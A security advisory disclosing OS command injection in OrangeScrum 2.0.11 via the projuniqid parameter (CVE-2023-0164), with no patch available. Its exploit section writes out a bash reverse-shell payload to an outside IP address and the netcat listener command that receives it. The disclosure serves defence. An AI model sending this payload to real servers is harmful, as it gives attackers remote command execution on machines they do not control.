OrangeScrum 2.0.11 - OS Command Injection via projuniqid

Description

OrangeScrum version 2.0.11 allows an authenticated external attacker to execute arbitrary commands on the server. This is possible because the application injects an attacker-controlled parameter into a system function.

Vulnerability

This vulnerability occurs because the application injects an attacker-controlled parameter into a system function.

Exploit

To exploit this vulnerability, we just need to send the malicious command we want the server to execute through the projuniqid parameter using the $() syntax.

$(bash -i+>& /dev/tcp/67.205.165.158/3000 0>&1)

Thus, we will only have to execute the command nc -lvp 3000 on the attacker's malicious server to receive the reverse shell from the victim server.

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2023-0164 to refer to this issue from now on. Disclosure policy

System Information

• Version: OrangeScrum 2.0.11

• Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

Vendor page https://github.com/Orangescrum/orangescrum/